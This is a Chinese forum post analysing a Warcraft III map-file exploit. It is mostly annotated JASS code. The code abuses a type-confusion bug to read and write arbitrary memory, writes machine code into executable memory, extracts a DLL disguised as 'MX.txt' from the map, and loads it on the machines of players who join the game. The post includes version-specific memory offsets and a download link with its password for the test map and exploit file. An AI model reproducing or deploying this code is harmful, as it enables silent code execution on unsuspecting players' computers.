本帖最后由 你坏 于 2018-7-16 13:35 编辑
map.w3x
游戏地图文件,它是一个压缩包,里面打包了很多文件
war3map.j
地图触发文件,它被压缩在地图内,比如聊天触发事件
它会被转换成字节码,由虚拟机解释执行(jass语言和jassVM)
这里用它来调用外部脚本,当事件发生时
1.地图文件-打包(漏洞利用+恶意文件)
2.创建房间-传播(玩家读图+远程下载)
3.进入游戏-中招(释放文件+加载文件)
4.查看进程
部分漏洞代码分析:
[C] 纯文本查看 复制代码
//war3map.j
function main takes nothing returns nothing
call StartMeleeAI(Player(12),"initrb")//调用外部脚本:initrb
endfunction
//initrb
function main takes nothing returns nothing
local integer gamedll
local integer i=0
local integer jassbuffer=0
//初始化数据,根据魔兽版本,获取地址:war3.exe,Game.dll,JassVM,WinAPI,...
//涉及的版本:1.28a,1.27b,1.27a,1.26,1.24b,1.24e
call newInitMemoryArray()
set MemoryAddr=GetMemoryArrayAddr()
call StartThread( I2C(8 + C2I(function newUnlockMemory)))
set i=ReadRealMemory(GetBytecodeAddress())
set i=i - ReadRealMemory(i)
if i == 2586768 then
call newInit27a()
elseif i == 5205600 then
call newInit26()
elseif i == 5276928 then
call newInit24b()
elseif i == 5276840 then
call newInit24e()
endif
//申请内存用于->写入汇编指令
set pReservedExecutableMemory2=AllocateExecutableMemory(1000)
//申请内存用于->保存字符串
set buffer[1]=AllocateExecutableMemory(100)
set buffer[2]=AllocateExecutableMemory(100)
set buffer[3]=AllocateExecutableMemory(100)
set buffer[4]=AllocateExecutableMemory(100)
//buffer[1]="MX.txt"
call WriteRealMemory(buffer[1],0x742E584D)
call WriteRealMemory(buffer[1]+4,0x00007478)
//检查模块是否加载
if GetModuleHandle(buffer[1])==0 then
//获取文件属性
if GetFileAttributes(buffer[1])!= -1 then
//删除文件
if DeleteFile(buffer[1])!=0 then
//从地图导出文件 导出到War3.exe目录下
call ExportFileFromMpq(buffer[1] , buffer[1])
endif
else
call ExportFileFromMpq(buffer[1] , buffer[1])
endif
//加载文件="MX.txt"(其实它是.dll)
call LoadLibrary(buffer[1])
endif
//buffer[2]="InitRB"
call WriteRealMemory(buffer[2] + 0 , 0x74696e49)
call WriteRealMemory(buffer[2] + 4 , 0x00004252)
//从加载的模块中获取导出函数的地址:"InitRB"
set i=GetModuleProcAddress(buffer[1] , buffer[2])
//call InitRB
call CallStdcallWith1Args(i , 0)
endfunction
//初始化获取数据-1.24e版本
function newInit24e takes nothing returns nothing
local integer base=ReadRealMemory(GetBytecodeAddress()) - 0x9631B8
//游戏模块地址
set GameDLL=base
set base=base / 4
//应该是虚拟机环境地址
set pJassEnvAddress=base + 0xAF16A8 / 4
//函数地址:获取模块句柄,申请内存,获取函数地址,从地图中释放文件
set pGetModuleHandle=base + 0x87F204 / 4
set pVirtualAlloc=base + 0x87F134 / 4
set pGetProcAddress=base + 0x87F2BC / 4
set pExportFromMpq=GameDLL + 0x7386A0
//
set pMergeUnits=GameDLL + 0x2DDE40
set pIgnoredUnits=GameDLL + 0x2DD9A0
set pConvertUnits=GameDLL + 0x2DDE00
//设置游戏版本
set GameVersion=0x24e
endfunction
//数组类型转换
//查资料得知,当局部变量和全局变量同名时,会转换成局部变量
//全局变量是整形数组,转换成了整形,这里其实是把数组地址变成了0
//Memory[addr / 4] 假如地址为:8 0(Memory)+2(8/4)*4(IntType)
//能读写指定地址内存,就是这个类型转换的为核心因素
function TypeCastMemoryArray takes nothing returns nothing
local integer Memory
endfunction
//读内存
function ReadRealMemory takes integer addr returns integer
if addr / 4 * 4 != addr then
return ReadRealMemory_FIX(addr)
endif
//内存地址是1字节为单位的,这个作者利用了4字节为单位的数组来读内存,所以代码才会那么奇怪
//int array Memory
//假设地址为:8 Memory[addr / 4]==Memory[2]
//假设Memory地址为:0 Memory[addr / 4]==0+2*4
return Memory[addr / 4]
endfunction
//写内存
function WriteRealMemory takes integer addr,integer val returns nothing
if addr / 4 * 4 != addr then
//call BJDebugMsg("WriteMemory WARNING! : " + Int2Hex(addr) )
call WriteRealMemory_FIX(addr , val)
else
//这里上面已经解释过了,作者利用这种方法来读写内存
set Memory[addr / 4]=val
endif
endfunction
//加载动态链接库
function LoadLibrary takes integer nDllName returns integer
if pLoadLibraryA == 0 then
call WriteRealMemory(buffer[2] + 0 , 0x6e72654b)//Kernel32.dll
call WriteRealMemory(buffer[2] + 4 , 0x32336c65)
call WriteRealMemory(buffer[2] + 8 , 0x6c6c642e)
call WriteRealMemory(buffer[2] + 12 , 0x00000000)
call WriteRealMemory(buffer[3] + 0 , 0x64616f4c)//LoadLibrary
call WriteRealMemory(buffer[3] + 4 , 0x7262694c)
call WriteRealMemory(buffer[3] + 8 , 0x41797261)
call WriteRealMemory(buffer[3] + 12 , 0x00000000)
set pLoadLibraryA=GetModuleProcAddress(buffer[2] , buffer[3])//GetModuleProcAddress(“Kernel32.dll”,"LoadLibrary")
endif
if pLoadLibraryA != 0 then
return CallStdcallWith1Args(pLoadLibraryA , nDllName)//LoadLibrary(nDllName)
endif
return 0
endfunction
//函数调用
function CallStdcallWith1Args takes integer pFuncStdcallAddr,integer arg1 returns integer
//局部 整形 变量
local integer pOffset1
call WriteRealMemory(pReservedExecutableMemory2 , 0x68C98B51) // push ecx. mov ecx,ecx
call WriteRealMemory(pReservedExecutableMemory2 + 4 , arg1) // push arg1
call WriteRealMemory(pReservedExecutableMemory2 + 8 , 0xB990C98B) // mov ecx,ecx , nop
call WriteRealMemory(pReservedExecutableMemory2 + 12 , pFuncStdcallAddr) // mov ecx, pFuncStdcallAddr
call WriteRealMemory(pReservedExecutableMemory2 + 16 , 0xC359D1FF) // call ecx, pop ecx, ret
if pIgnoredUnitsOffset == 0 then
set pIgnoredUnitsOffset=CreateJassNativeHook(pIgnoredUnits , pReservedExecutableMemory2)
else
call WriteRealMemory(pIgnoredUnitsOffset , pReservedExecutableMemory2)
endif
set pOffset1=IgnoredUnits(0)
call WriteRealMemory(pIgnoredUnitsOffset , pIgnoredUnits)
return pOffset1
endfunction
文件:
测试地图.w3x(为了测试效果,加载模块代码我写成了聊天触发 进入游戏输入:-LS )
initrb(漏洞利用代码,用记事本可打开,)
链接: https://pan.baidu.com/s/1UcTdqhqHGvaLGgKNpMiYTg 密码: r2fa
作者:
DracpL1ch(俄国)
涉及的版本:
1.28a,1.27b,1.27a,1.26,1.24b,1.24e
测试时间:2018.3
网易有赞助的地图基本都是利用这个漏洞代码实现收费道具功能,读取数据
非萝莉漏洞:萝莉漏洞是释放文件到开机启动,它不能读写内存,还要重启
更新时间:2018.7
有人说官方对战平台(网易)修复了,从地图作者在更新说明中,指定官方为唯一收费道具购买平台来看,某平台(和官方抢生意)应该是被和(cao)谐(fan)了
|